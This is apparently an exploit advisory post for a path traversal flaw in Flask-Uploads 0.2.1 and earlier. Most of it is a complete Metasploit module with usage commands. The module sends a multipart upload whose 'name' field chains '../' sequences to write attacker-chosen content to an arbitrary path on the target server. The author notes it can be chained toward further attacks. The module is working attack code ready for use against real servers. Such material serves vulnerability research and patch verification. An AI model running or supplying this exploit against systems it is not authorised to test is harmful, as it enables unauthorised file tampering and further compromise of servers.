📄 Flask-Uploads 0.2.1 Path Traversal / Arbitrary File Write

=============================================================================================================================================
    | # Title     : Flask-Uploads <= 0.2.1 Path Traversal to Arbitrary File Write                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/maxcountryman/flask-uploads                                                                              |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/214228/ 
    
    [+] Summary    :  This Metasploit module exploits a path traversal vulnerability in the Flask-Uploads library versions 0.2.1 and earlier.
                      The issue stems from insufficient sanitization of the name parameter used in the save() method of the UploadSet class, 
    				  allowing an attacker to traverse directories and write arbitrary files outside the intended upload directory.
                      The module is designed strictly to demonstrate arbitrary file write capability and does not assume or attempt remote code execution. 
    				  File execution depends entirely on application logic, server configuration, and file placement, which are intentionally left out of scope.
                      Successful exploitation may result in unauthorized file creation on the target filesystem, 
    				  potentially enabling further attacks when chained with additional vulnerabilities.
    
    [+] Usage : 
    
    use exploit/multi/http/flask_uploads_traversal
    set RHOSTS <TARGET_IP>
    set RPORT <TARGET_PORT>
    set TARGETURI /upload
    exploit
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = AverageRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Flask-Uploads <= 0.2.1 Path Traversal Arbitrary File Write',
            'Description'    => %q{
              This module exploits a path traversal vulnerability in the Flask-Uploads 
              library (version 0.2.1 and prior). The vulnerability allows for arbitrary 
              file writes outside of the intended upload directory by manipulating the 
              'name' parameter passed to the save() function. This module focuses on 
              the file write primitive.
            },
            'Author'         => ['indoushka'],
            'License'        => MSF_LICENSE,
            'References'     => [
              ['URL', 'https://github.com/maxcountryman/flask-uploads/issues/43']
            ],
            'Privileged'     => false,
            'Platform'       => %w[linux win unix],
            'Arch'           => ARCH_ALL,
            'Targets'        => [['Generic Arbitrary File Write', {}]],
            'DisclosureDate' => '2024-10-25',
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [], # No session guaranteed
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The vulnerable endpoint URL', '/upload']),
          OptString.new('FIELD_NAME', [true, 'The multipart field name for the file upload', 'files']),
          OptString.new('TRAVERSAL_DEPTH', [true, 'Depth of path traversal to reach root', '10']),
          OptString.new('REMOTE_PATH', [true, 'The target path on the remote system', '/tmp/pwned.txt']),
          OptString.new('FILE_CONTENT', [true, 'Content to write to the remote file', 'Vulnerability Confirmed'])
        ])
      end
    
      def check
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path)
        })
        return CheckCode::Unknown('No response from the target.') unless res
        
        if res.code == 200
          return CheckCode::Detected("Endpoint #{target_uri.path} is reachable.")
        end
    
        CheckCode::Safe
      end
    
      def exploit
    
        traversal = "../" * datastore['TRAVERSAL_DEPTH'].to_i
        remote_filename = datastore['REMOTE_PATH'].sub(%r{^/}, '')
        malicious_name = "#{traversal}#{remote_filename}"
    
        data = Rex::MIME::Message.new
    
        data.add_part(
          datastore['FILE_CONTENT'], 
          'text/plain', 
          nil, 
          "form-data; name=\"#{datastore['FIELD_NAME']}\"; filename=\"test.txt\""
        )
    
        data.add_part(malicious_name, nil, nil, "form-data; name=\"name\"")
    
        print_status("Attempting to write #{datastore['FILE_CONTENT'].length} bytes to #{datastore['REMOTE_PATH']}...")
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => normalize_uri(target_uri.path),
          'ctype'  => "multipart/form-data; boundary=#{data.bound}",
          'data'   => data.to_s
        })
    
        if res && res.code == 200
          print_good("Server responded with 200 OK. Verification required at: #{datastore['REMOTE_PATH']}")
        else
          status = res ? res.code : 'no response'
          fail_with(Failure::UnexpectedReply, "Server responded with #{status}. Exploitation failed.")
        end
      end
    end
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================